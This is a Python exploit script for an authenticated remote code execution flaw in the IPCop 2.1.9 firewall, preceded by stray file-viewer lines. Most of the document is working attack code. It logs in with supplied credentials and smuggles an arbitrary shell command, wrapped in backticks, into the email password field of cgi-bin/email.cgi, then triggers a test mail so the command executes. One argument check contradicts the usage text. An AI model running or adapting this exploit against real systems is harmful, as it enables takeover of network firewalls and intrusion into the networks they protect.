57 lines
No EOL
1.9 KiB
Python
Executable file
57 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
|
||
# Date: 02/08/2021
|
||
# Exploit Author: Mücahit Saratar
|
||
# Vendor Homepage: https://www.ipcop.org/
|
||
# Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
|
||
# Version: 2.1.9
|
||
# Tested on: parrot os 5.7.0-2parrot2-amd64
|
||
|
||
#!/usr/bin/python3
|
||
|
||
import requests as R
|
||
import os
|
||
import sys
|
||
import base64
|
||
import urllib3
|
||
|
||
R.packages.urllib3.disable_warnings()
|
||
R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
|
||
try:
|
||
R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
|
||
except AttributeError:
|
||
# no pyopenssl support used / needed / available
|
||
pass
|
||
|
||
try:
|
||
hostport = sys.argv[1]
|
||
assert hostport[:8] == "https://" and hostport[-1] == "/"
|
||
url = hostport + "cgi-bin/email.cgi"
|
||
username = sys.argv[2].encode()
|
||
password = sys.argv[3].encode()
|
||
auth = base64.b64encode(username+b":"+password).decode()
|
||
command = sys.argv[4]
|
||
assert " " in command
|
||
except:
|
||
print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")
|
||
exit(1)
|
||
|
||
|
||
rheader = {"Authorization":"Basic "+auth,
|
||
"Origin": hostport,
|
||
"Referer": url}
|
||
|
||
rdata = {
|
||
"EMAIL_SERVER": "mucahitsaratar.github.io",
|
||
"EMAIL_USE_TLS": "auto",
|
||
"EMAIL_SERVER_PORT": "1337",
|
||
"EMAIL_USR": "ipcop@localdomain",
|
||
"EMAIL_PW": f"`{command}`",
|
||
"EMAIL_FROM": "ipcop@localdomainn",
|
||
"EMAIL_TO": "ipcop@localdomainnn",
|
||
"ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
|
||
}
|
||
|
||
|
||
R.post(url,headers=rheader, data=rdata, verify=False)
|
||
rdata["ACTION"] = "Test postası gönder" # send test mail
|
||
R.post(url,headers=rheader, data=rdata, verify=False) |